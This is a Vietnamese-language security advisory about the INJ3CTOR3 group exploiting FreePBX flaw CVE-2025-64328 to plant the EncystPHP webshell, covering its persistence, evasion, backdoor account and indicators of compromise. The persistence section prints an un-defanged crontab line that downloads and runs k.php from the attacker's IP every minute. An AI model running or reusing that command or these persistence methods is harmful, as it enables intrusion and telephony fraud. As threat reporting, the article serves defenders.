Cảnh báo: Lỗ hổng FreePBX nghiêm trọng bị khai thác

Một chiến dịch tấn công tinh vi đã khai thác lỗ hổng FreePBX nghiêm trọng để triển khai webshell dai dẳng có tên “EncystPHP”. Mục tiêu của chiến dịch là chiếm quyền kiểm soát quản trị hoàn toàn các hệ thống VoIP bị xâm nhập, cho phép kẻ tấn công thực hiện các hoạt động trái phép.
Phân Tích Lỗ Hổng CVE-2025-64328
Chiến dịch được phát hiện vào đầu tháng 12 năm 2025, tập trung khai thác CVE-2025-64328. Đây là một lỗ hổng chèn lệnh (command-injection) sau xác thực, ảnh hưởng đến giao diện quản trị của Endpoint Manager trong FreePBX.
CVE-2025-64328 được phân loại là một lỗ hổng chèn lệnh nghiêm trọng, nằm trong mô-đun Endpoint Manager. Cụ thể, lỗi tồn tại trong hàm check_ssh_connect() của thành phần Filestore.
Lỗ hổng này cho phép những kẻ tấn công đã xác thực thực thi các lệnh shell tùy ý với quyền của người dùng asterisk. Điều này tạo ra một điểm tựa ban đầu để tiếp tục xâm nhập sâu hơn vào hệ thống.
Thông tin chi tiết về CVE có thể tham khảo tại: NVD – CVE-2025-64328.
Chiến Dịch Tấn Công và Kẻ Đe Dọa INJ3CTOR3
Hoạt động độc hại này được gán cho nhóm hacker INJ3CTOR3. Đây là một nhóm tội phạm tài chính lần đầu tiên được xác định vào năm 2020 khi chúng nhắm mục tiêu vào CVE-2019-19006 trong các hệ thống FreePBX.
Năm 2022, nhóm này đã phát triển chiến thuật, chuyển trọng tâm sang các hệ thống Elastix bằng cách khai thác CVE-2021-45461. INJ3CTOR3 liên tục thể hiện mô hình nhắm mục tiêu vào cơ sở hạ tầng VoIP để kiếm tiền. Hoạt động này chủ yếu thông qua việc tạo cuộc gọi trái phép và gian lận cước viễn thông (toll fraud).
Lưu lượng tấn công có nguồn gốc từ Brazil và nhắm vào các môi trường nạn nhân được quản lý bởi một công ty công nghệ chuyên về giải pháp đám mây và dịch vụ truyền thông.
Mã Độc Webshell EncystPHP và Cơ Chế Hoạt Động
Fortinet đã quan sát thấy những kẻ tấn công tải dropper EncystPHP từ địa chỉ IP 45[.]234[.]176[.]202. IP này phân giải thành tên miền crm[.]razatelefonia[.]pro, một trang web giả mạo hệ thống quản lý VoIP với chức năng đăng nhập.
Khi truy cập đường dẫn “new/” trên nguồn tải xuống, các yêu cầu tự động được chuyển hướng đến một dropper khác có tên k.php. Đây là một biến thể của mã độc webshell nhằm duy trì quyền truy cập.
Webshell EncystPHP thể hiện khả năng nâng cao, bao gồm thực thi lệnh từ xa, các cơ chế duy trì quyền truy cập đa giai đoạn và các kỹ thuật lẩn tránh tinh vi. Đây là một dạng mã độc webshell được thiết kế để khó bị phát hiện.
Cơ Chế Khai Thác và Vượt Qua Phát Hiện
Khi được triển khai, mã độc sẽ sửa đổi quyền tệp của các thành phần FreePBX hợp lệ để ngăn chặn việc phát hiện. Đồng thời, nó loại bỏ các webshell cạnh tranh khỏi hệ thống bị xâm nhập.
EncystPHP giả mạo thành một tệp FreePBX hợp lệ có tên ajax.php. Điều này cho phép nó hòa nhập liền mạch vào cấu trúc ứng dụng và tránh được sự kiểm tra thông thường.
Webshell sử dụng xác thực băm MD5, so sánh mật khẩu văn bản thuần được nhập qua giao diện web với các giá trị băm được mã hóa cứng trong mã.
Giao Diện Tương Tác và Chức Năng
Sau khi xác thực, webshell hiển thị một giao diện tương tác có tiêu đề “Ask Master”. Giao diện này bao gồm các lệnh vận hành được xác định trước cho các tác vụ sau:
- Liệt kê hệ thống tệp (file system enumeration).
- Kiểm tra tiến trình (process inspection).
- Truy vấn các kênh Asterisk đang hoạt động.
- Liệt kê các máy khách SIP (SIP peers).
- Truy xuất các tệp cấu hình FreePBX và Elastix.
Bằng cách tận dụng các đặc quyền nâng cao trong ngữ cảnh quản trị của Elastix và FreePBX, webshell cho phép thực thi lệnh tùy ý và khởi tạo hoạt động gọi đi thông qua môi trường PBX bị xâm nhập.
Cơ Chế Duy Trì Quyền Truy Cập (Persistence)
Cuộc tấn công triển khai một cơ chế duy trì quyền truy cập bốn giai đoạn để đảm bảo quyền truy cập lâu dài. Khả năng duy trì ban đầu được thiết lập thông qua các mục crontab tải xuống dropper thứ cấp k.php mỗi phút.
# Ví dụ về crontab entry (có thể thay đổi tùy biến) * * * * * curl -s -o /tmp/k.php http://45.234.176.202/k.php && php /tmp/k.phpCác giai đoạn tiếp theo triển khai các dropper bổ sung trên nhiều thư mục dưới /var/www/html/, bao gồm digium_phones/, rest_phones/, phones/ và freepbxphones/. Việc này tạo ra các điểm truy cập dự phòng, tăng khả năng chống lại các nỗ lực loại bỏ.
Mã độc làm giả dấu thời gian để khớp với các tệp hợp lệ và triển khai các phiên bản webshell tới ít nhất mười hai đường dẫn tệp khác nhau. Điều này đảm bảo các tuyến truy cập thay thế vẫn có sẵn nếu các phiên bản chính bị phát hiện và xóa.
EncystPHP cũng can thiệp vào các tệp nhật ký (log files) và vô hiệu hóa báo cáo lỗi để cản trở phân tích pháp y và nỗ lực phát hiện. Webshell này còn tạo một tài khoản người dùng cấp root có tên “newfpbx” với thông tin đăng nhập được mã hóa cứng, đặt lại mật khẩu của nhiều tài khoản người dùng về một giá trị duy nhất, và chèn khóa công khai SSH để duy trì quyền truy cập cửa hậu.
Mã độc cũng sửa đổi cấu hình hệ thống để đảm bảo cổng SSH 22 vẫn mở, cung cấp quyền truy cập từ xa liên tục cho kẻ tấn công.
Chỉ Số Thỏa Hiệp (IOCs)
Các chỉ số thỏa hiệp liên quan đến chiến dịch này bao gồm:
- Địa chỉ IP:
45[.]234[.]176[.]202 - Tên miền:
crm[.]razatelefonia[.]pro - Tên tệp webshell:
EncystPHP,k.php,ajax.php(giả mạo) - Tên tài khoản người dùng độc hại:
newfpbx
Biện Pháp Khắc Phục và Phòng Ngừa
Các tổ chức đang vận hành các hệ thống FreePBX chưa được vá (unpatched) cần coi bất kỳ sự khai thác thành công nào là một sự xâm nhập mạng hoàn toàn. Điều này đòi hỏi phải có hành động khắc phục ngay lập tức, giám sát toàn diện và tăng cường bảo mật hệ thống.
Sự cố này nhấn mạnh rằng các hệ thống VoIP và PBX vẫn là mục tiêu có giá trị cao đối với những kẻ đe dọa. Chúng tìm cách kiếm tiền từ việc truy cập trái phép thông qua gian lận cước và lạm dụng tài nguyên điện thoại.






